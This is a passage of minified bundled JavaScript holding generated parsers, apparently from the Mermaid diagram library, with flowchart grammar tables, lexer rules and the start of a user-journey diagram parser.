77:xt,78:wt,79:kt,80:Tt,81:Et,82:Ct,84:134,85:St,95:W,96:V,99:G,100:X,101:At,103:Q,104:K,105:Mt,106:Nt,107:140,114:J,115:tt,116:et,117:nt,118:rt,119:it},t(ht,[2,74]),t(Lt,[2,78]),{22:ft,24:dt,26:pt,38:yt,39:227,42:gt,47:H,62:vt,70:mt,73:132,74:bt,75:143,76:_t,77:xt,78:wt,79:kt,80:Tt,81:Et,82:Ct,84:134,85:St,95:W,96:V,99:G,100:X,101:At,103:Q,104:K,105:Mt,106:Nt,107:140,114:J,115:tt,116:et,117:nt,118:rt,119:it},t(Ot,o,{17:228}),t(P,[2,43]),{46:229,47:f,49:43,81:m,95:b,96:_,99:x,100:w,101:k,103:T,104:E,108:44,114:N,115:O,116:D,117:B,118:L,119:I},{22:Ft,76:Pt,86:230,92:jt,95:Yt,97:231,98:232,99:Ut,100:zt,101:qt,102:Ht,103:$t,104:Wt,105:Vt},{22:Ft,76:Pt,86:244,92:jt,95:Yt,97:231,98:232,99:Ut,100:zt,101:qt,102:Ht,103:$t,104:Wt,105:Vt},{22:Ft,76:Pt,86:245,92:jt,94:[1,246],95:Yt,97:231,98:232,99:Ut,100:zt,101:qt,102:Ht,103:$t,104:Wt,105:Vt},{22:Ft,76:Pt,86:247,92:jt,94:[1,248],95:Yt,97:231,98:232,99:Ut,100:zt,101:qt,102:Ht,103:$t,104:Wt,105:Vt},{95:[1,249]},{22:Ft,76:Pt,86:250,92:jt,95:Yt,97:231,98:232,99:Ut,100:zt,101:qt,102:Ht,103:$t,104:Wt,105:Vt},{22:Ft,76:Pt,86:251,92:jt,95:Yt,97:231,98:232,99:Ut,100:zt,101:qt,102:Ht,103:$t,104:Wt,105:Vt},{26:q,47:H,81:$,87:252,95:W,96:V,99:G,100:X,101:Z,103:Q,104:K,107:94,109:92,114:J,115:tt,116:et,117:nt,118:rt,119:it},t(ut,[2,97]),{74:[1,253]},t(ut,[2,101],{22:[1,254]}),t(ut,[2,102]),t(ut,[2,105]),t(ut,[2,107],{22:[1,255]}),t(ut,[2,108]),t(ot,[2,55]),{22:ft,24:dt,26:pt,38:yt,42:gt,47:H,51:[1,256],62:vt,70:mt,73:191,75:143,76:_t,77:xt,78:wt,79:kt,80:Tt,81:Et,82:Ct,84:134,85:St,95:W,96:V,99:G,100:X,101:At,103:Q,104:K,105:Mt,106:Nt,107:140,114:J,115:tt,116:et,117:nt,118:rt,119:it},t(ot,[2,61]),t(ot,[2,57]),t(ot,[2,58]),t(ot,[2,59]),t(ot,[2,60]),t(ot,[2,62]),{22:ft,24:dt,26:pt,38:yt,42:gt,47:H,61:[1,257],62:vt,70:mt,73:191,75:143,76:_t,77:xt,78:wt,79:kt,80:Tt,81:Et,82:Ct,84:134,85:St,95:W,96:V,99:G,100:X,101:At,103:Q,104:K,105:Mt,106:Nt,107:140,114:J,115:tt,116:et,117:nt,118:rt,119:it},t(ot,[2,64]),t(ot,[2,65]),t(ot,[2,67]),t(ot,[2,66]),t(ot,[2,68]),t(It,[2,4]),t([22,47,81,95,96,99,100,101,103,104,114,115,116,117,118,119],[2,76]),{22:ft,24:dt,26:pt,38:yt,41:[1,258],42:gt,47:H,62:vt,70:mt,73:191,75:143,76:_t,77:xt,78:wt,79:kt,80:Tt,81:Et,82:Ct,84:134,85:St,95:W,96:V,99:G,100:X,101:At,103:Q,104:K,105:Mt,106:Nt,107:140,114:J,115:tt,116:et,117:nt,118:rt,119:it},{18:18,19:19,20:s,21:u,22:c,23:l,32:24,33:25,34:26,35:27,36:28,37:29,38:h,42:[1,259],43:31,45:32,46:42,47:f,49:43,76:d,77:p,78:y,79:g,80:v,81:m,95:b,96:_,99:x,100:w,101:k,103:T,104:E,108:44,110:C,111:S,112:A,113:M,114:N,115:O,116:D,117:B,118:L,119:I},t(at,[2,53]),t(ut,[2,110],{96:Gt}),t(Xt,[2,120],{98:261,22:Ft,76:Pt,92:jt,95:Yt,99:Ut,100:zt,101:qt,102:Ht,103:$t,104:Wt,105:Vt}),t(Zt,[2,122]),t(Zt,[2,124]),t(Zt,[2,125]),t(Zt,[2,126]),t(Zt,[2,127]),t(Zt,[2,128]),t(Zt,[2,129]),t(Zt,[2,130]),t(Zt,[2,131]),t(Zt,[2,132]),t(Zt,[2,133]),t(Zt,[2,134]),t(ut,[2,111],{96:Gt}),t(ut,[2,112],{96:Gt}),{22:[1,262]},t(ut,[2,113],{96:Gt}),{22:[1,263]},t(Rt,[2,119]),t(ut,[2,93],{96:Gt}),t(ut,[2,94],{96:Gt}),t(ut,[2,95],{107:94,109:170,26:q,47:H,81:$,95:W,96:V,99:G,100:X,101:Z,103:Q,104:K,114:J,115:tt,116:et,117:nt,118:rt,119:it}),t(ut,[2,99]),{91:[1,264]},{91:[1,265]},{51:[1,266]},{61:[1,267]},{9:268,20:j,21:Y,23:U},t(P,[2,42]),{22:Ft,76:Pt,92:jt,95:Yt,97:269,98:232,99:Ut,100:zt,101:qt,102:Ht,103:$t,104:Wt,105:Vt},t(Zt,[2,123]),{26:q,47:H,81:$,87:270,95:W,96:V,99:G,100:X,101:Z,103:Q,104:K,107:94,109:92,114:J,115:tt,116:et,117:nt,118:rt,119:it},{26:q,47:H,81:$,87:271,95:W,96:V,99:G,100:X,101:Z,103:Q,104:K,107:94,109:92,114:J,115:tt,116:et,117:nt,118:rt,119:it},t(ut,[2,103]),t(ut,[2,109]),t(ot,[2,56]),t(ot,[2,63]),t(Ot,o,{17:272}),t(Xt,[2,121],{98:261,22:Ft,76:Pt,92:jt,95:Yt,99:Ut,100:zt,101:qt,102:Ht,103:$t,104:Wt,105:Vt}),t(ut,[2,116],{107:94,109:170,22:[1,273],26:q,47:H,81:$,95:W,96:V,99:G,100:X,101:Z,103:Q,104:K,114:J,115:tt,116:et,117:nt,118:rt,119:it}),t(ut,[2,117],{107:94,109:170,22:[1,274],26:q,47:H,81:$,95:W,96:V,99:G,100:X,101:Z,103:Q,104:K,114:J,115:tt,116:et,117:nt,118:rt,119:it}),{18:18,19:19,20:s,21:u,22:c,23:l,32:24,33:25,34:26,35:27,36:28,37:29,38:h,42:[1,275],43:31,45:32,46:42,47:f,49:43,76:d,77:p,78:y,79:g,80:v,81:m,95:b,96:_,99:x,100:w,101:k,103:T,104:E,108:44,110:C,111:S,112:A,113:M,114:N,115:O,116:D,117:B,118:L,119:I},{22:Ft,76:Pt,86:276,92:jt,95:Yt,97:231,98:232,99:Ut,100:zt,101:qt,102:Ht,103:$t,104:Wt,105:Vt},{22:Ft,76:Pt,86:277,92:jt,95:Yt,97:231,98:232,99:Ut,100:zt,101:qt,102:Ht,103:$t,104:Wt,105:Vt},t(P,[2,41]),t(ut,[2,114],{96:Gt}),t(ut,[2,115],{96:Gt})],defaultActions:{2:[2,1],9:[2,5],10:[2,2],124:[2,7]},parseError:function(t,e){if(!e.recoverable){var n=new Error(t);throw n.hash=e,n}this.trace(t)},parse:function(t){var e=this,n=[0],r=[],i=[null],a=[],o=this.table,s="",u=0,c=0,l=0,h=2,f=1,d=a.slice.call(arguments,1),p=Object.create(this.lexer),y={yy:{}};for(var g in this.yy)Object.prototype.hasOwnProperty.call(this.yy,g)&&(y.yy[g]=this.yy[g]);p.setInput(t,y.yy),y.yy.lexer=p,y.yy.parser=this,void 0===p.yylloc&&(p.yylloc={});var v=p.yylloc;a.push(v);var m=p.options&&p.options.ranges;function b(){var t;return"number"!=typeof(t=r.pop()||p.lex()||f)&&(t instanceof Array&&(t=(r=t).pop()),t=e.symbols_[t]||t),t}"function"==typeof y.yy.parseError?this.parseError=y.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;for(var _,x,w,k,T,E,C,S,A,M={};;){if(w=n[n.length-1],this.defaultActions[w]?k=this.defaultActions[w]:(null==_&&(_=b()),k=o[w]&&o[w][_]),void 0===k||!k.length||!k[0]){var N="";for(E in A=[],o[w])this.terminals_[E]&&E>h&&A.push("'"+this.terminals_[E]+"'");N=p.showPosition?"Parse error on line "+(u+1)+":\n"+p.showPosition()+"\nExpecting "+A.join(", ")+", got '"+(this.terminals_[_]||_)+"'":"Parse error on line "+(u+1)+": Unexpected "+(_==f?"end of input":"'"+(this.terminals_[_]||_)+"'"),this.parseError(N,{text:p.match,token:this.terminals_[_]||_,line:p.yylineno,loc:v,expected:A})}if(k[0]instanceof Array&&k.length>1)throw new Error("Parse Error: multiple actions possible at state: "+w+", token: "+_);switch(k[0]){case 1:n.push(_),i.push(p.yytext),a.push(p.yylloc),n.push(k[1]),_=null,x?(_=x,x=null):(c=p.yyleng,s=p.yytext,u=p.yylineno,v=p.yylloc,l>0&&l--);break;case 2:if(C=this.productions_[k[1]][1],M.$=i[i.length-C],M._$={first_line:a[a.length-(C||1)].first_line,last_line:a[a.length-1].last_line,first_column:a[a.length-(C||1)].first_column,last_column:a[a.length-1].last_column},m&&(M._$.range=[a[a.length-(C||1)].range[0],a[a.length-1].range[1]]),void 0!==(T=this.performAction.apply(M,[s,c,u,y.yy,k[1],i,a].concat(d))))return T;C&&(n=n.slice(0,-1*C*2),i=i.slice(0,-1*C),a=a.slice(0,-1*C)),n.push(this.productions_[k[1]][0]),i.push(M.$),a.push(M._$),S=o[n[n.length-2]][n[n.length-1]],n.push(S);break;case 3:return!0}}return!0}},Kt={EOF:1,parseError:function(t,e){if(!this.yy.parser)throw new Error(t);this.yy.parser.parseError(t,e)},setInput:function(t,e){return this.yy=e||this.yy||{},this._input=t,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},input:function(){var t=this._input[0];return this.yytext+=t,this.yyleng++,this.offset++,this.match+=t,this.matched+=t,t.match(/(?:\r\n?|\n).*/g)?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),t},unput:function(t){var e=t.length,n=t.split(/(?:\r\n?|\n)/g);this._input=t+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-e),this.offset-=e;var r=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),n.length-1&&(this.yylineno-=n.length-1);var i=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:n?(n.length===r.length?this.yylloc.first_column:0)+r[r.length-n.length].length-n[0].length:this.yylloc.first_column-e},this.options.ranges&&(this.yylloc.range=[i[0],i[0]+this.yyleng-e]),this.yyleng=this.yytext.length,this},more:function(){return this._more=!0,this},reject:function(){return this.options.backtrack_lexer?(this._backtrack=!0,this):this.parseError("Lexical error on line "+(this.yylineno+1)+". You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true).\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},less:function(t){this.unput(this.match.slice(t))},pastInput:function(){var t=this.matched.substr(0,this.matched.length-this.match.length);return(t.length>20?"...":"")+t.substr(-20).replace(/\n/g,"")},upcomingInput:function(){var t=this.match;return t.length<20&&(t+=this._input.substr(0,20-t.length)),(t.substr(0,20)+(t.length>20?"...":"")).replace(/\n/g,"")},showPosition:function(){var t=this.pastInput(),e=new Array(t.length+1).join("-");return t+this.upcomingInput()+"\n"+e+"^"},test_match:function(t,e){var n,r,i;if(this.options.backtrack_lexer&&(i={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(i.yylloc.range=this.yylloc.range.slice(0))),(r=t[0].match(/(?:\r\n?|\n).*/g))&&(this.yylineno+=r.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:r?r[r.length-1].length-r[r.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+t[0].length},this.yytext+=t[0],this.match+=t[0],this.matches=t,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(t[0].length),this.matched+=t[0],n=this.performAction.call(this,this.yy,this,e,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),n)return n;if(this._backtrack){for(var a in i)this[a]=i[a];return!1}return!1},next:function(){if(this.done)return this.EOF;var t,e,n,r;this._input||(this.done=!0),this._more||(this.yytext="",this.match="");for(var i=this._currentRules(),a=0;ae[0].length)){if(e=n,r=a,this.options.backtrack_lexer){if(!1!==(t=this.test_match(n,i[a])))return t;if(this._backtrack){e=!1;continue}return!1}if(!this.options.flex)break}return e?!1!==(t=this.test_match(e,i[r]))&&t:""===this._input?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+". Unrecognized text.\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},lex:function(){var t=this.next();return t||this.lex()},begin:function(t){this.conditionStack.push(t)},popState:function(){return this.conditionStack.length-1>0?this.conditionStack.pop():this.conditionStack[0]},_currentRules:function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},topState:function(t){return(t=this.conditionStack.length-1-Math.abs(t||0))>=0?this.conditionStack[t]:"INITIAL"},pushState:function(t){this.begin(t)},stateStackSize:function(){return this.conditionStack.length},options:{},performAction:function(t,e,n,r){switch(n){case 0:return this.begin("open_directive"),12;case 1:return this.begin("type_directive"),13;case 2:return this.popState(),this.begin("arg_directive"),10;case 3:return this.popState(),this.popState(),15;case 4:return 14;case 5:case 6:break;case 7:this.begin("string");break;case 8:this.popState();break;case 9:return"STR";case 10:return 76;case 11:return 85;case 12:return 77;case 13:return 94;case 14:return 78;case 15:return 79;case 16:this.begin("href");break;case 17:this.popState();break;case 18:return 90;case 19:this.begin("callbackname");break;case 20:this.popState();break;case 21:this.popState(),this.begin("callbackargs");break;case 22:return 88;case 23:this.popState();break;case 24:return 89;case 25:this.begin("click");break;case 26:this.popState();break;case 27:return 80;case 28:case 29:return t.lex.firstGraph()&&this.begin("dir"),24;case 30:return 38;case 31:return 42;case 32:case 33:case 34:case 35:return 91;case 36:return this.popState(),25;case 37:case 38:case 39:case 40:case 41:case 42:case 43:case 44:case 45:case 46:return this.popState(),26;case 47:return 110;case 48:return 111;case 49:return 112;case 50:return 113;case 51:return 95;case 52:return 103;case 53:return 48;case 54:return 100;case 55:return 47;case 56:return 20;case 57:return 96;case 58:return 118;case 59:case 60:case 61:return 71;case 62:case 63:case 64:return 70;case 65:return 52;case 66:return 53;case 67:return 54;case 68:return 55;case 69:return 56;case 70:return 57;case 71:return 58;case 72:return 59;case 73:return 101;case 74:return 104;case 75:return 119;case 76:return 116;case 77:return 105;case 78:case 79:return 117;case 80:return 106;case 81:return 62;case 82:return 82;case 83:return"SEP";case 84:return 81;case 85:return 99;case 86:return 64;case 87:return 63;case 88:return 66;case 89:return 65;case 90:return 114;case 91:return 115;case 92:return 72;case 93:return 50;case 94:return 51;case 95:return 40;case 96:return 41;case 97:return 60;case 98:return 61;case 99:return 125;case 100:return 21;case 101:return 22;case 102:return 23}},rules:[/^(?:%%\{)/,/^(?:((?:(?!\}%%)[^:.])*))/,/^(?::)/,/^(?:\}%%)/,/^(?:((?:(?!\}%%).|\n)*))/,/^(?:%%(?!\{)[^\n]*)/,/^(?:[^\}]%%[^\n]*)/,/^(?:["])/,/^(?:["])/,/^(?:[^"]*)/,/^(?:style\b)/,/^(?:default\b)/,/^(?:linkStyle\b)/,/^(?:interpolate\b)/,/^(?:classDef\b)/,/^(?:class\b)/,/^(?:href[\s]+["])/,/^(?:["])/,/^(?:[^"]*)/,/^(?:call[\s]+)/,/^(?:\([\s]*\))/,/^(?:\()/,/^(?:[^(]*)/,/^(?:\))/,/^(?:[^)]*)/,/^(?:click[\s]+)/,/^(?:[\s\n])/,/^(?:[^\s\n]*)/,/^(?:graph\b)/,/^(?:flowchart\b)/,/^(?:subgraph\b)/,/^(?:end\b\s*)/,/^(?:_self\b)/,/^(?:_blank\b)/,/^(?:_parent\b)/,/^(?:_top\b)/,/^(?:(\r?\n)*\s*\n)/,/^(?:\s*LR\b)/,/^(?:\s*RL\b)/,/^(?:\s*TB\b)/,/^(?:\s*BT\b)/,/^(?:\s*TD\b)/,/^(?:\s*BR\b)/,/^(?:\s*<)/,/^(?:\s*>)/,/^(?:\s*\^)/,/^(?:\s*v\b)/,/^(?:.*direction\s+TB[^\n]*)/,/^(?:.*direction\s+BT[^\n]*)/,/^(?:.*direction\s+RL[^\n]*)/,/^(?:.*direction\s+LR[^\n]*)/,/^(?:[0-9]+)/,/^(?:#)/,/^(?::::)/,/^(?::)/,/^(?:&)/,/^(?:;)/,/^(?:,)/,/^(?:\*)/,/^(?:\s*[xo<]?--+[-xo>]\s*)/,/^(?:\s*[xo<]?==+[=xo>]\s*)/,/^(?:\s*[xo<]?-?\.+-[xo>]?\s*)/,/^(?:\s*[xo<]?--\s*)/,/^(?:\s*[xo<]?==\s*)/,/^(?:\s*[xo<]?-\.\s*)/,/^(?:\(-)/,/^(?:-\))/,/^(?:\(\[)/,/^(?:\]\))/,/^(?:\[\[)/,/^(?:\]\])/,/^(?:\[\()/,/^(?:\)\])/,/^(?:-)/,/^(?:\.)/,/^(?:[\_])/,/^(?:\+)/,/^(?:%)/,/^(?:=)/,/^(?:=)/,/^(?:<)/,/^(?:>)/,/^(?:\^)/,/^(?:\\\|)/,/^(?:v\b)/,/^(?:[A-Za-z]+)/,/^(?:\\\])/,/^(?:\[\/)/,/^(?:\/\])/,/^(?:\[\\)/,/^(?:[!"#$%&'*+,-.`?\\_/])/,/^(?:[\u00AA\u00B5\u00BA\u00C0-\u00D6\u00D8-\u00F6]|[\u00F8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0370-\u0374\u0376\u0377]|[\u037A-\u037D\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5]|[\u03F7-\u0481\u048A-\u0527\u0531-\u0556\u0559\u0561-\u0587\u05D0-\u05EA]|[\u05F0-\u05F2\u0620-\u064A\u066E\u066F\u0671-\u06D3\u06D5\u06E5\u06E6\u06EE]|[\u06EF\u06FA-\u06FC\u06FF\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07CA-\u07EA]|[\u07F4\u07F5\u07FA\u0800-\u0815\u081A\u0824\u0828\u0840-\u0858\u08A0]|[\u08A2-\u08AC\u0904-\u0939\u093D\u0950\u0958-\u0961\u0971-\u0977]|[\u0979-\u097F\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2]|[\u09B6-\u09B9\u09BD\u09CE\u09DC\u09DD\u09DF-\u09E1\u09F0\u09F1\u0A05-\u0A0A]|[\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39]|[\u0A59-\u0A5C\u0A5E\u0A72-\u0A74\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8]|[\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD\u0AD0\u0AE0\u0AE1\u0B05-\u0B0C]|[\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B5C]|[\u0B5D\u0B5F-\u0B61\u0B71\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99]|[\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BD0]|[\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C33\u0C35-\u0C39\u0C3D]|[\u0C58\u0C59\u0C60\u0C61\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3]|[\u0CB5-\u0CB9\u0CBD\u0CDE\u0CE0\u0CE1\u0CF1\u0CF2\u0D05-\u0D0C\u0D0E-\u0D10]|[\u0D12-\u0D3A\u0D3D\u0D4E\u0D60\u0D61\u0D7A-\u0D7F\u0D85-\u0D96\u0D9A-\u0DB1]|[\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E81]|[\u0E82\u0E84\u0E87\u0E88\u0E8A\u0E8D\u0E94-\u0E97\u0E99-\u0E9F\u0EA1-\u0EA3]|[\u0EA5\u0EA7\u0EAA\u0EAB\u0EAD-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6]|[\u0EDC-\u0EDF\u0F00\u0F40-\u0F47\u0F49-\u0F6C\u0F88-\u0F8C\u1000-\u102A]|[\u103F\u1050-\u1055\u105A-\u105D\u1061\u1065\u1066\u106E-\u1070\u1075-\u1081]|[\u108E\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D]|[\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0]|[\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310]|[\u1312-\u1315\u1318-\u135A\u1380-\u138F\u13A0-\u13F4\u1401-\u166C]|[\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u1700-\u170C\u170E-\u1711]|[\u1720-\u1731\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17D7]|[\u17DC\u1820-\u1877\u1880-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191C]|[\u1950-\u196D\u1970-\u1974\u1980-\u19AB\u19C1-\u19C7\u1A00-\u1A16]|[\u1A20-\u1A54\u1AA7\u1B05-\u1B33\u1B45-\u1B4B\u1B83-\u1BA0\u1BAE\u1BAF]|[\u1BBA-\u1BE5\u1C00-\u1C23\u1C4D-\u1C4F\u1C5A-\u1C7D\u1CE9-\u1CEC]|[\u1CEE-\u1CF1\u1CF5\u1CF6\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D]|[\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D]|[\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3]|[\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u2071\u207F]|[\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2119-\u211D\u2124\u2126\u2128]|[\u212A-\u212D\u212F-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2183\u2184]|[\u2C00-\u2C2E\u2C30-\u2C5E\u2C60-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3]|[\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D80-\u2D96\u2DA0-\u2DA6]|[\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE]|[\u2DD0-\u2DD6\u2DD8-\u2DDE\u2E2F\u3005\u3006\u3031-\u3035\u303B\u303C]|[\u3041-\u3096\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312D]|[\u3131-\u318E\u31A0-\u31BA\u31F0-\u31FF\u3400-\u4DB5\u4E00-\u9FCC]|[\uA000-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA61F\uA62A\uA62B]|[\uA640-\uA66E\uA67F-\uA697\uA6A0-\uA6E5\uA717-\uA71F\uA722-\uA788]|[\uA78B-\uA78E\uA790-\uA793\uA7A0-\uA7AA\uA7F8-\uA801\uA803-\uA805]|[\uA807-\uA80A\uA80C-\uA822\uA840-\uA873\uA882-\uA8B3\uA8F2-\uA8F7\uA8FB]|[\uA90A-\uA925\uA930-\uA946\uA960-\uA97C\uA984-\uA9B2\uA9CF\uAA00-\uAA28]|[\uAA40-\uAA42\uAA44-\uAA4B\uAA60-\uAA76\uAA7A\uAA80-\uAAAF\uAAB1\uAAB5]|[\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAADD\uAAE0-\uAAEA\uAAF2-\uAAF4]|[\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E]|[\uABC0-\uABE2\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D]|[\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36]|[\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D]|[\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE70-\uFE74\uFE76-\uFEFC]|[\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF]|[\uFFD2-\uFFD7\uFFDA-\uFFDC])/,/^(?:\|)/,/^(?:\()/,/^(?:\))/,/^(?:\[)/,/^(?:\])/,/^(?:\{)/,/^(?:\})/,/^(?:")/,/^(?:(\r?\n)+)/,/^(?:\s)/,/^(?:$)/],conditions:{close_directive:{rules:[],inclusive:!1},arg_directive:{rules:[3,4],inclusive:!1},type_directive:{rules:[2,3],inclusive:!1},open_directive:{rules:[1],inclusive:!1},callbackargs:{rules:[23,24],inclusive:!1},callbackname:{rules:[20,21,22],inclusive:!1},href:{rules:[17,18],inclusive:!1},click:{rules:[26,27],inclusive:!1},vertex:{rules:[],inclusive:!1},dir:{rules:[36,37,38,39,40,41,42,43,44,45,46],inclusive:!1},string:{rules:[8,9],inclusive:!1},INITIAL:{rules:[0,5,6,7,10,11,12,13,14,15,16,19,25,28,29,30,31,32,33,34,35,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102],inclusive:!0}}};function Jt(){this.yy={}}return Qt.lexer=Kt,Jt.prototype=Qt,Qt.Parser=Jt,new Jt}();e.parser=i,e.Parser=i.Parser,e.parse=function(){return i.parse.apply(i,arguments)},e.main=function(r){r[1]||(console.log("Usage: "+r[0]+" FILE"),t.exit(1));var i=n(16).readFileSync(n(17).normalize(r[1]),"utf8");return e.parser.parse(i)},n.c[n.s]===r&&e.main(t.argv.slice(1))}).call(this,n(11),n(6)(t))},function(t,e,n){(function(t,r){var i=function(){var t=function(t,e,n,r){for(n=n||{},r=t.length;r--;n[t[r]]=e);return n},e=[1,2],n=[1,5],r=[6,9,11,17,18,19,21],i=[1,15],a=[1,16],o=[1,17],s=[1,21],u=[4,6,9,11,17,18,19,21],c={trace:function(){},yy:{},symbols_:{error:2,start:3,journey:4,document:5,EOF:6,directive:7,line:8,SPACE:9,statement:10,NEWLINE:11,openDirective:12,typeDirective:13,closeDirective:14,":":15,argDirective:16,title:17,section:18,taskName:19,taskData:20,open_directive:21,type_directive:22,arg_directive:23,close_directive:24,$accept:0,$end:1},terminals_:{2:"error",4:"journey",6:"EOF",9:"SPACE",11:"NEWLINE",15:":",17:"title",18:"section",19:"taskName",20:"taskData",21:"open_directive",22:"type_directive",23:"arg_directive",24:"close_directive"},productions_:[0,[3,3],[3,2],[5,0],[5,2],[8,2],[8,1],[8,1],[8,1],[7,4],[7,6],[10,1],[10,1],[10,2],[10,1],[12,1],[13,1],[16,1],[14,1]],performAction:function(t,e,n,r,i,a,o){var s=a.length-1;switch(i){case 1:return a[s-1];case 3:this.$=[];break;case 4:a[s-1].push(a[s]),this.$=a[s-1];break;case 5:case 6:this.$=a[s];break;case 7:case 8:this.$=[];break;case 11:r.setTitle(a[s].substr(6)),this.$=a[s].substr(6);break;case 12:r.addSection(a[s].substr(8)),this.$=a[s].substr(8);break;case 13:r.addTask(a[s-1],a[s]),this.$="task";break;case 15:r.parseDirective("%%{","open_directive");break;case 16:r.parseDirective(a[s],"type_directive");break;case 17:a[s]=a[s].trim().replace(/'/g,'"'),r.parseDirective(a[s],"arg_directive");break;case 18:r.parseDirective("}%%","close_directive","journey")}},table:[{3:1,4:e,7:3,12:4,21:n},{1:[3]},t(r,[2,3],{5:6}),{3:7,4:e,7:3,12:4,21:n},{13:8,22:[1,9]},{22:[2,15]},{6:[1,10],7:18,8:11,9:[1,12],10:13,11:[1,14],12:4,17:i,18:a,19:o,21:n},{1:[2,2]},{14:19,15:[1,20],24:s},t([15,24],[2,16]),t(r,[2,8],{1:[2,1]}),t(r,[2,4]),{7:18,10:22,12:4,17:i,18:a,19:o,21:n},t(r,[2,6]),t(r,[2,7]),t(r,[2,11]),t(r,[2,12]),{20:[1,23]},t(r,[2,14]),{11:[1,24]},{16:25,23:[1,26]},{11:[2,18]},t(r,[2,5]),t(r,[2,13]),t(u,[2,9]),{14:27,24:s},{24:[2,17]},{11:[1,28]},t(u,[2,10])],defaultActions:{5:[2,15],7:[2,2],21:[2,18],26:[2,17]},parseError:function(t,e){if(!e.recoverable){var n=new Error(t);throw n.hash=e,n}this.trace(t)},parse:function(t){var 